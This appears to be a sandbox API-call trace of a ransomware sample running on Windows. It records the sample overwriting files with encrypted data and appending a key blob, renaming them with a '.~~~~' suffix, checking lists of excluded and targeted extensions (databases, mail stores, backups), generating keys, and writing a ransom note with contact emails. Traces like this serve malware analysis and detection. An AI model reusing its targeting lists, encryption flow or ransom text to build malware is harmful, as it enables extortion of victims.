	[0086.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdbe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.445] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x242, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x242, lpOverlapped=0x0) returned 1
	[0086.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.445] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.445] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.445] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.446] CloseHandle (hObject=0x124) returned 1
	[0086.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.~~~~")) returned 1
	[0086.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.447] GetLastError () returned 0x0
	[0086.468] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.468] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.470] CloseHandle (hObject=0x124) returned 1
	[0086.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb768 | out: hHeap=0x300000) returned 1
	[0086.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baee0 | out: hHeap=0x300000) returned 1
	[0086.470] RtlWakeConditionVariable () returned 0x365f70
	[0086.470] GetCurrentThreadId () returned 0x9f4
	[0086.470] GetCurrentThreadId () returned 0x9f4
	[0086.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0086.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f95b8 | out: hHeap=0x300000) returned 1
	[0086.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5ae0
	[0086.471] lstrlenW (lpString=".scr") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".scr") returned 0x0
	[0086.471] lstrlenW (lpString=".cmd") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".cmd") returned 0x0
	[0086.471] lstrlenW (lpString=".dll") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dll") returned 0x0
	[0086.471] lstrlenW (lpString=".bat") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".bat") returned 0x0
	[0086.471] lstrlenW (lpString=".cpl") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".cpl") returned 0x0
	[0086.471] lstrlenW (lpString=".sys") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".sys") returned 0x0
	[0086.471] lstrlenW (lpString=".msc") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".msc") returned 0x0
	[0086.471] lstrlenW (lpString=".com") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".com") returned 0x0
	[0086.471] lstrlenW (lpString=".lnk") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".lnk") returned 0x0
	[0086.471] lstrlenW (lpString=".msp") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".msp") returned 0x0
	[0086.471] lstrlenW (lpString=".pif") returned 4
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".pif") returned 0x0
	[0086.471] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0086.549] lstrlenW (lpString=".sqb") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".sqb") returned 0x0
	[0086.549] lstrlenW (lpString=".ost") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".ost") returned 0x0
	[0086.549] lstrlenW (lpString=".txt") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".txt") returned 0x0
	[0086.549] lstrlenW (lpString=".mdt") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".mdt") returned 0x0
	[0086.549] lstrlenW (lpString=".BDB") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".BDB") returned 0x0
	[0086.549] lstrlenW (lpString=".eql") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".eql") returned 0x0
	[0086.549] lstrlenW (lpString=".DBF") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DBF") returned 0x0
	[0086.549] lstrlenW (lpString=".EQL") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".EQL") returned 0x0
	[0086.549] lstrlenW (lpString=".FDB") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".FDB") returned 0x0
	[0086.549] lstrlenW (lpString=".EDB") returned 4
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".EDB") returned 0x0
	[0086.549] lstrlenW (lpString=".DACPAC") returned 7
	[0086.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.549] lstrlenW (lpString=".VHD") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".VHD") returned 0x0
	[0086.550] lstrlenW (lpString=".DBV") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DBV") returned 0x0
	[0086.550] lstrlenW (lpString=".dacpac") returned 7
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dacpac") returned 0x0
	[0086.550] lstrlenW (lpString=".sdf") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".sdf") returned 0x0
	[0086.550] lstrlenW (lpString=".accdb") returned 6
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".accdb") returned 0x0
	[0086.550] lstrlenW (lpString=".DBX") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DBX") returned 0x0
	[0086.550] lstrlenW (lpString=".MDT") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".MDT") returned 0x0
	[0086.550] lstrlenW (lpString=".SQB") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".SQB") returned 0x0
	[0086.550] lstrlenW (lpString=".vhd") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".vhd") returned 0x0
	[0086.550] lstrlenW (lpString=".bac") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".bac") returned 0x0
	[0086.550] lstrlenW (lpString=".mdf") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".mdf") returned 0x0
	[0086.550] lstrlenW (lpString=".BAK") returned 4
	[0086.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".BAK") returned 0x0
	[0086.550] lstrlenW (lpString=".BAC") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".BAC") returned 0x0
	[0086.551] lstrlenW (lpString=".dbs") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dbs") returned 0x0
	[0086.551] lstrlenW (lpString=".vhdx") returned 5
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".vhdx") returned 0x0
	[0086.551] lstrlenW (lpString=".NDF") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".NDF") returned 0x0
	[0086.551] lstrlenW (lpString=".dat") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dat") returned 0x0
	[0086.551] lstrlenW (lpString=".DBS") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DBS") returned 0x0
	[0086.551] lstrlenW (lpString=".CKP") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".CKP") returned 0x0
	[0086.551] lstrlenW (lpString=".edb") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".edb") returned 0x0
	[0086.551] lstrlenW (lpString=".PST") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".PST") returned 0x0
	[0086.551] lstrlenW (lpString=".dbf") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dbf") returned 0x0
	[0086.551] lstrlenW (lpString=".SQL") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".SQL") returned 0x0
	[0086.551] lstrlenW (lpString=".pst") returned 4
	[0086.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".pst") returned 0x0
	[0086.551] lstrlenW (lpString=".dbv") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dbv") returned 0x0
	[0086.552] lstrlenW (lpString=".SDF") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".SDF") returned 0x0
	[0086.552] lstrlenW (lpString=".dtxs") returned 5
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dtxs") returned 0x0
	[0086.552] lstrlenW (lpString=".db3") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".db3") returned 0x0
	[0086.552] lstrlenW (lpString=".OST") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".OST") returned 0x0
	[0086.552] lstrlenW (lpString=".dbx") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dbx") returned 0x0
	[0086.552] lstrlenW (lpString=".DB3") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DB3") returned 0x0
	[0086.552] lstrlenW (lpString=".DAT") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DAT") returned 0x0
	[0086.552] lstrlenW (lpString=".VHDX") returned 5
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".VHDX") returned 0x0
	[0086.552] lstrlenW (lpString=".ndf") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".ndf") returned 0x0
	[0086.552] lstrlenW (lpString=".DB") returned 3
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DB") returned 0x0
	[0086.552] lstrlenW (lpString=".sql") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".sql") returned 0x0
	[0086.552] lstrlenW (lpString=".MYD") returned 4
	[0086.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".MYD") returned 0x0
	[0086.553] lstrlenW (lpString=".DBT") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DBT") returned 0x0
	[0086.553] lstrlenW (lpString=".ACCDB") returned 6
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.553] lstrlenW (lpString=".fdb") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".fdb") returned 0x0
	[0086.553] lstrlenW (lpString=".bak") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".bak") returned 0x0
	[0086.553] lstrlenW (lpString=".myd") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".myd") returned 0x0
	[0086.553] lstrlenW (lpString=".DTXS") returned 5
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".DTXS") returned 0x0
	[0086.553] lstrlenW (lpString=".ckp") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".ckp") returned 0x0
	[0086.553] lstrlenW (lpString=".dbt") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".dbt") returned 0x0
	[0086.553] lstrlenW (lpString=".db") returned 3
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".db") returned 0x0
	[0086.553] lstrlenW (lpString=".TXT") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".TXT") returned 0x0
	[0086.553] lstrlenW (lpString=".MDF") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".MDF") returned 0x0
	[0086.553] lstrlenW (lpString=".bdb") returned 4
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".bdb") returned 0x0
	[0086.553] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0086.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.554] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.555] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.555] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0086.555] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20654504127) returned 1
	[0086.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d648290, dwHighDateTime=0x1d60e1e)) 
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c10
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb378
	[0086.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb378 | out: hHeap=0x300000) returned 1
	[0086.556] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.556] GetLastError () returned 0x0
	[0086.556] GetLastError () returned 0x0
	[0086.556] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.556] GetLastError () returned 0x0
	[0086.556] GetLastError () returned 0x0
	[0086.632] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.632] WriteFile (in: hFile=0x11c, lpBuffer=0x2875ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2875ff0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2875ff0 | out: hHeap=0x300000) returned 1
	[0086.634] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.634] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.634] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.634] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.634] CloseHandle (hObject=0x11c) returned 1
	[0086.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
